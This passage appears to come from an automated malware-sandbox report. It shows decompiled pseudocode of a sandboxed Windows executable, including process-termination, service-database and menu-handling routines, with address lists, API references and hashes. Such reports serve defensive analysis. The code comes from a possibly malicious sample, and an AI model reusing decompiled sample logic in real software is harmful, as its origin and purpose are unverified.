							_t215 =  *((intOrPtr*)( *((intOrPtr*)( *_t158))))(_t158, 0x4829d0, _t221 + 0x90);
							_t160 =  *((intOrPtr*)(_t221 + 0x10));
							 *((intOrPtr*)( *((intOrPtr*)( *_t160 + 8))))(_t160);
							L8:
							__eflags = _t215;
							if(_t215 != 0) {
								goto L3;
							} else {
								E00467626(0, _t219, _t221 + 0x88);
								_t131 =  *((intOrPtr*)(_t221 + 0x90));
								 *((intOrPtr*)( *((intOrPtr*)( *_t131 + 8))))(_t131);
								E00402620(_t221 + 0x78);
								E00402620(_t221 + 0x68);
								E00402620(_t221 + 0x30);
								__eflags = 0;
								return 0;
							}
						}
					}
				} else {
					L3:
					_push(0);
					_push(0);
					_push(0);
					_push(_t215);
					_push( *((intOrPtr*)(_t221 + 0xd0)));
					L4:
					_t116 = E004781AE(_t226);
					E00402620(_t221 + 0x78);
					E00402620(_t221 + 0x68);
					E00402620(_t221 + 0x30);
					return _t116;
				}
			}


























                                                                                                                                                                            0x0047a999
                                                                                                                                                                            0x0047a999
                                                                                                                                                                            0x0047a9a1
                                                                                                                                                                            0x0047a9b0
                                                                                                                                                                            0x0047a9b4
                                                                                                                                                                            0x0047a9bd
                                                                                                                                                                            0x0047a9c6
                                                                                                                                                                            0x0047a9cf
                                                                                                                                                                            0x0047a9d3
                                                                                                                                                                            0x0047a9d7
                                                                                                                                                                            0x0047a9db
                                                                                                                                                                            0x0047a9df
                                                                                                                                                                            0x0047a9e3
                                                                                                                                                                            0x0047a9e7
                                                                                                                                                                            0x0047a9eb
                                                                                                                                                                            0x0047a9f0
                                                                                                                                                                            0x0047a9f7
                                                                                                                                                                            0x0047a9fa
                                                                                                                                                                            0x0047aa00
                                                                                                                                                                            0x0047aa03
                                                                                                                                                                            0x0047aa09
                                                                                                                                                                            0x0047aa09
                                                                                                                                                                            0x0047aa1c
                                                                                                                                                                            0x0047aa27
                                                                                                                                                                            0x0047aa2d
                                                                                                                                                                            0x0047aa2e
                                                                                                                                                                            0x0047aa30
                                                                                                                                                                            0x0047aa35
                                                                                                                                                                            0x0047aa3a
                                                                                                                                                                            0x0047aa79
                                                                                                                                                                            0x0047aa85
                                                                                                                                                                            0x0047aa8d
                                                                                                                                                                            0x0047aa8f
                                                                                                                                                                            0x0047ab33
                                                                                                                                                                            0x0047ab3a
                                                                                                                                                                            0x0047ab3b
                                                                                                                                                                            0x0047ab52
                                                                                                                                                                            0x0047ab54
                                                                                                                                                                            0x0047ab57
                                                                                                                                                                            0x0047ab59
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ab5f
                                                                                                                                                                            0x0047ab6b
                                                                                                                                                                            0x0047ab7c
                                                                                                                                                                            0x0047ab88
                                                                                                                                                                            0x0047ab8b
                                                                                                                                                                            0x0047ab94
                                                                                                                                                                            0x0047ab99
                                                                                                                                                                            0x0047ab9b
                                                                                                                                                                            0x0047acb7
                                                                                                                                                                            0x0047aba1
                                                                                                                                                                            0x0047aba6
                                                                                                                                                                            0x0047abae
                                                                                                                                                                            0x0047abc2
                                                                                                                                                                            0x0047abc4
                                                                                                                                                                            0x0047abc7
                                                                                                                                                                            0x0047abfb
                                                                                                                                                                            0x0047ac07
                                                                                                                                                                            0x0047ac16
                                                                                                                                                                            0x0047ac1f
                                                                                                                                                                            0x0047ac29
                                                                                                                                                                            0x0047ac37
                                                                                                                                                                            0x0047ac43
                                                                                                                                                                            0x0047ac50
                                                                                                                                                                            0x0047ac54
                                                                                                                                                                            0x0047abc9
                                                                                                                                                                            0x0047abd1
                                                                                                                                                                            0x0047abd5
                                                                                                                                                                            0x0047abd9
                                                                                                                                                                            0x0047abdd
                                                                                                                                                                            0x0047abdd
                                                                                                                                                                            0x0047ac58
                                                                                                                                                                            0x0047ac5f
                                                                                                                                                                            0x0047ac61
                                                                                                                                                                            0x0047ac76
                                                                                                                                                                            0x0047ac7a
                                                                                                                                                                            0x0047ac63
                                                                                                                                                                            0x0047ac64
                                                                                                                                                                            0x0047ac68
                                                                                                                                                                            0x0047ac6d
                                                                                                                                                                            0x0047ac70
                                                                                                                                                                            0x0047ac70
                                                                                                                                                                            0x0047ac86
                                                                                                                                                                            0x0047ac8e
                                                                                                                                                                            0x0047ac96
                                                                                                                                                                            0x0047ac9a
                                                                                                                                                                            0x0047ac9e
                                                                                                                                                                            0x0047aca6
                                                                                                                                                                            0x0047acaa
                                                                                                                                                                            0x0047acae
                                                                                                                                                                            0x0047acae
                                                                                                                                                                            0x0047acc6
                                                                                                                                                                            0x0047accd
                                                                                                                                                                            0x0047acd9
                                                                                                                                                                            0x0047aced
                                                                                                                                                                            0x0047acfa
                                                                                                                                                                            0x0047ad02
                                                                                                                                                                            0x0047ad0c
                                                                                                                                                                            0x0047ad0e
                                                                                                                                                                            0x0047ad10
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ad16
                                                                                                                                                                            0x0047ad16
                                                                                                                                                                            0x0047ad1a
                                                                                                                                                                            0x0047ad1c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ad22
                                                                                                                                                                            0x0047ad22
                                                                                                                                                                            0x0047ad29
                                                                                                                                                                            0x0047ad59
                                                                                                                                                                            0x0047ad59
                                                                                                                                                                            0x0047ad5b
                                                                                                                                                                            0x0047ad64
                                                                                                                                                                            0x0047ad6c
                                                                                                                                                                            0x0047ad73
                                                                                                                                                                            0x0047ad75
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ad7b
                                                                                                                                                                            0x0047ad82
                                                                                                                                                                            0x0047ad84
                                                                                                                                                                            0x0047ad89
                                                                                                                                                                            0x0047ad8a
                                                                                                                                                                            0x0047ad8c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ad8c
                                                                                                                                                                            0x0047ad75
                                                                                                                                                                            0x0047ad1c
                                                                                                                                                                            0x0047ad10
                                                                                                                                                                            0x0047aa95
                                                                                                                                                                            0x0047aab0
                                                                                                                                                                            0x0047aab2
                                                                                                                                                                            0x0047aab4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047aab6
                                                                                                                                                                            0x0047aab6
                                                                                                                                                                            0x0047aace
                                                                                                                                                                            0x0047aad0
                                                                                                                                                                            0x0047aada
                                                                                                                                                                            0x0047aadc
                                                                                                                                                                            0x0047aadc
                                                                                                                                                                            0x0047aade
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047aae4
                                                                                                                                                                            0x0047aaee
                                                                                                                                                                            0x0047aaf3
                                                                                                                                                                            0x0047ab00
                                                                                                                                                                            0x0047ab06
                                                                                                                                                                            0x0047ab0f
                                                                                                                                                                            0x0047ab18
                                                                                                                                                                            0x0047ab20
                                                                                                                                                                            0x0047ab29
                                                                                                                                                                            0x0047ab29
                                                                                                                                                                            0x0047aade
                                                                                                                                                                            0x0047aab4
                                                                                                                                                                            0x0047aa3c
                                                                                                                                                                            0x0047aa3c
                                                                                                                                                                            0x0047aa43
                                                                                                                                                                            0x0047aa44
                                                                                                                                                                            0x0047aa45
                                                                                                                                                                            0x0047aa46
                                                                                                                                                                            0x0047aa47
                                                                                                                                                                            0x0047aa48
                                                                                                                                                                            0x0047aa48
                                                                                                                                                                            0x0047aa53
                                                                                                                                                                            0x0047aa5c
                                                                                                                                                                            0x0047aa65
                                                                                                                                                                            0x0047aa76
                                                                                                                                                                            0x0047aa76

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _memset$Initialize_wcslen
                                                                                                                                                                            • String ID: NULL Pointer assignment
                                                                                                                                                                            • API String ID: 1945940997-2785691316
                                                                                                                                                                            • Opcode ID: 487cd5cb85bd3a58ff9f5ee20b35b873eec4f009956aa99fb30b2d9d862597ed
                                                                                                                                                                            • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                                            • Opcode Fuzzy Hash: 487cd5cb85bd3a58ff9f5ee20b35b873eec4f009956aa99fb30b2d9d862597ed
                                                                                                                                                                            • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00437118(struct HWND__* _a4) {
				long _v4;
				long _v8;
				long _t7;
				struct HWND__* _t14;
				void* _t15;

				_t14 = _a4;
				PostMessageW(_t14, 0x10, 0, 0);
				_t7 = SendMessageTimeoutW(_t14, 0x10, 0, 0, 2, 0x1f4,  &_v4);
				if(_t7 == 0) {
					GetWindowThreadProcessId(_t14,  &_v8);
					_t15 = OpenProcess(0x1f0fff, 0, _v8);
					TerminateProcess(_t15, 0);
					return CloseHandle(_t15);
				}
				return _t7;
			}








                                                                                                                                                                            0x0043711c
                                                                                                                                                                            0x00437127
                                                                                                                                                                            0x00437140
                                                                                                                                                                            0x00437148
                                                                                                                                                                            0x00437150
                                                                                                                                                                            0x00437168
                                                                                                                                                                            0x0043716d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437174
                                                                                                                                                                            0x0043717e

                                                                                                                                                                            APIs
                                                                                                                                                                            • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                                            • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 839392675-0
                                                                                                                                                                            • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                            • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                                            • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                            • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043604B() {
				void* _t3;
				void* _t9;
				void* _t11;

				_t9 = 0;
				_t11 = OpenSCManagerW(0, 0, 8);
				if(_t11 == 0) {
					L6:
					return _t9;
				} else {
					_t3 = LockServiceDatabase(_t11);
					if(_t3 == 0) {
						if(GetLastError() == 0x41f) {
							_t9 = 1;
						}
						CloseServiceHandle(_t11);
						goto L6;
					} else {
						UnlockServiceDatabase(_t3);
						CloseServiceHandle(_t11);
						return 1;
					}
				}
			}






                                                                                                                                                                            0x00436053
                                                                                                                                                                            0x0043605b
                                                                                                                                                                            0x0043605f
                                                                                                                                                                            0x00436098
                                                                                                                                                                            0x0043609b
                                                                                                                                                                            0x00436061
                                                                                                                                                                            0x00436062
                                                                                                                                                                            0x0043606a
                                                                                                                                                                            0x0043608c
                                                                                                                                                                            0x0043608e
                                                                                                                                                                            0x0043608e
                                                                                                                                                                            0x00436091
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043606c
                                                                                                                                                                            0x0043606d
                                                                                                                                                                            0x00436076
                                                                                                                                                                            0x00436080
                                                                                                                                                                            0x00436080
                                                                                                                                                                            0x0043606a

                                                                                                                                                                            APIs
                                                                                                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000004), ref: 00436055
                                                                                                                                                                            • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                                            • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                                            • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                                            • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1690418490-0
                                                                                                                                                                            • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                            • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                                            • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                            • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0045F132(int __ecx, void* __eflags, intOrPtr _a4) {
				struct tagMENUITEMINFOW _v52;
				struct HMENU__* _v56;
				signed int* _v60;
				int _v64;
				int _v68;
				int _v72;
				void* __edi;
				void* __esi;
				int _t54;
				signed int _t55;
				struct HMENU__** _t65;
				struct HMENU__* _t70;
				int _t79;
				struct HMENU__* _t81;
				int _t84;
				int _t88;
				signed int* _t91;

				_t79 = __ecx;
				_v72 = __ecx;
				_v68 = 0xffffffff;
				if(E00437314(__ecx, _a4,  &_v68) == 0) {
					L17:
					__eflags = 0;
					return 0;
				} else {
					_t88 = _v68;
					if(_t88 < 7 || _t88 >  *((intOrPtr*)(_t79 + 0x9c0))) {
						goto L17;
					} else {
						_t65 =  *(_t79 + 0x1a4 + _t88 * 4);
						_t81 =  *_t65;
						if(_t65[1] != 1) {
							L15:
							if(DeleteMenu( *_t65, _t88, 0) == 0) {
								goto L17;
							} else {
								_t65[1] = 0xff;
								 *_t65 = 0;
								_t65[1] = 0;
								E0040C740(_t45 | 0xffffffff, 0,  &(_t65[2]));
								E004447AB(_v72, _v68);
								return 1;
							}
						} else {
							_v52.cbSize = 0x30;
							E004131F0(_t81,  &(_v52.fMask), 0, 0x2c);
							_v52.fMask = 4;
							if(GetMenuItemInfoW(_t81, _t88, 0,  &_v52) == 0) {
								goto L17;
							} else {
								_t54 = _v72;
								_t70 = _v52.hSubMenu;
								_t84 = 7;
								_v56 = _t70;
								_v64 = 7;
								if( *((intOrPtr*)(_t54 + 0x9c0)) >= 7) {
									_t91 = _t54 + 0x1c0;
									_v60 = _t91;
									while(1) {
										_t55 =  *_t91;
										if(_t55 != 0 &&  *_t55 == _t70) {
											_t107 =  *((char*)(_t55 + 4)) - 1;
											if( *((char*)(_t55 + 4)) != 1) {
												DeleteMenu(_t70, _t84, 0);
												 *((char*)( *_t91 + 4)) = 0xff;
												 *( *_t91) = 0;
												 *((char*)( *_t91 + 5)) = 0;
												__eflags = 0;
												E0040C740( *_t91 | 0xffffffff, 0,  *_t91 + 8);
												E004447AB(_v72, _v64);
												_t84 = _v72;
												_t91 = _v68;
											} else {
												E0045F132(_v72, _t107, _t84);
											}
										}
										_t84 = _t84 + 1;
										_t91 =  &(_t91[1]);
										_v64 = _t84;
										_v60 = _t91;
										if(_t84 >  *((intOrPtr*)(_v72 + 0x9c0))) {
											break;
										}
										_t70 = _v56;
									}
									_t88 = _v68;
								}
								goto L15;
							}
						}
					}
				}
			}




















                                                                                                                                                                            0x0045f13e
                                                                                                                                                                            0x0045f14a
                                                                                                                                                                            0x0045f14e
                                                                                                                                                                            0x0045f15d
                                                                                                                                                                            0x0045f2ba
                                                                                                                                                                            0x0045f2bc
                                                                                                                                                                            0x0045f2c2
                                                                                                                                                                            0x0045f163
                                                                                                                                                                            0x0045f163
                                                                                                                                                                            0x0045f16a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f17c
                                                                                                                                                                            0x0045f17c
                                                                                                                                                                            0x0045f187
                                                                                                                                                                            0x0045f189
                                                                                                                                                                            0x0045f274
                                                                                                                                                                            0x0045f282
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f284
                                                                                                                                                                            0x0045f28c
                                                                                                                                                                            0x0045f290
                                                                                                                                                                            0x0045f296
                                                                                                                                                                            0x0045f29a
                                                                                                                                                                            0x0045f2a9
                                                                                                                                                                            0x0045f2b7
                                                                                                                                                                            0x0045f2b7
                                                                                                                                                                            0x0045f18f
                                                                                                                                                                            0x0045f198
                                                                                                                                                                            0x0045f1a0
                                                                                                                                                                            0x0045f1b1
                                                                                                                                                                            0x0045f1c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f1c7
                                                                                                                                                                            0x0045f1c7
                                                                                                                                                                            0x0045f1cb
                                                                                                                                                                            0x0045f1cf
                                                                                                                                                                            0x0045f1da
                                                                                                                                                                            0x0045f1de
                                                                                                                                                                            0x0045f1e2
                                                                                                                                                                            0x0045f1e8
                                                                                                                                                                            0x0045f1ee
                                                                                                                                                                            0x0045f1f8
                                                                                                                                                                            0x0045f1f8
                                                                                                                                                                            0x0045f1fc
                                                                                                                                                                            0x0045f202
                                                                                                                                                                            0x0045f206
                                                                                                                                                                            0x0045f218
                                                                                                                                                                            0x0045f220
                                                                                                                                                                            0x0045f226
                                                                                                                                                                            0x0045f22e
                                                                                                                                                                            0x0045f23a
                                                                                                                                                                            0x0045f23c
                                                                                                                                                                            0x0045f24b
                                                                                                                                                                            0x0045f250
                                                                                                                                                                            0x0045f254
                                                                                                                                                                            0x0045f208
                                                                                                                                                                            0x0045f20d
                                                                                                                                                                            0x0045f20d
                                                                                                                                                                            0x0045f206
                                                                                                                                                                            0x0045f25c
                                                                                                                                                                            0x0045f25d
                                                                                                                                                                            0x0045f266
                                                                                                                                                                            0x0045f26a
                                                                                                                                                                            0x0045f26e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f1f4
                                                                                                                                                                            0x0045f1f4
                                                                                                                                                                            0x0045f270
                                                                                                                                                                            0x0045f270
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f1e2
                                                                                                                                                                            0x0045f1c1
                                                                                                                                                                            0x0045f189
                                                                                                                                                                            0x0045f16a

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 1173514356-4108050209
                                                                                                                                                                            • Opcode ID: 0389ae051b09bd7a4182935a25706d7d03e8dcba455cd5f79873236a29400f5c
                                                                                                                                                                            • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                                            • Opcode Fuzzy Hash: 0389ae051b09bd7a4182935a25706d7d03e8dcba455cd5f79873236a29400f5c
                                                                                                                                                                            • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042384A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0042384A(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E00411438( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00413452( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00417F23(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

















                                                                                                                                                                            0x00423854
                                                                                                                                                                            0x0042385b
                                                                                                                                                                            0x00423872
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00423862
                                                                                                                                                                            0x00423864
                                                                                                                                                                            0x0042387e
                                                                                                                                                                            0x00423883
                                                                                                                                                                            0x00423886
                                                                                                                                                                            0x00423889
                                                                                                                                                                            0x004238b2
                                                                                                                                                                            0x004238b9
                                                                                                                                                                            0x004238bb
                                                                                                                                                                            0x0042393c
                                                                                                                                                                            0x00423957
                                                                                                                                                                            0x00423959
                                                                                                                                                                            0x00423899
                                                                                                                                                                            0x00423899
                                                                                                                                                                            0x0042389c
                                                                                                                                                                            0x0042389e
                                                                                                                                                                            0x004238a1
                                                                                                                                                                            0x004238a1
                                                                                                                                                                            0x004238a1
                                                                                                                                                                            0x004238a1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004238a7
                                                                                                                                                                            0x0042391b
                                                                                                                                                                            0x0042391b
                                                                                                                                                                            0x00423920
                                                                                                                                                                            0x00423926
                                                                                                                                                                            0x00423929
                                                                                                                                                                            0x0042392b
                                                                                                                                                                            0x0042392e
                                                                                                                                                                            0x0042392e
                                                                                                                                                                            0x0042392e
                                                                                                                                                                            0x0042392e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00423932
                                                                                                                                                                            0x004238bd
                                                                                                                                                                            0x004238c0
                                                                                                                                                                            0x004238c6
                                                                                                                                                                            0x004238c9
                                                                                                                                                                            0x004238f0
                                                                                                                                                                            0x004238f3
                                                                                                                                                                            0x004238f9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004238fb
                                                                                                                                                                            0x004238fe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00423900
                                                                                                                                                                            0x00423900
                                                                                                                                                                            0x00423906
                                                                                                                                                                            0x00423909
                                                                                                                                                                            0x00423877
                                                                                                                                                                            0x00423877
                                                                                                                                                                            0x00423912
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00423912
                                                                                                                                                                            0x004238cb
                                                                                                                                                                            0x004238ce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004238d2
                                                                                                                                                                            0x004238e3
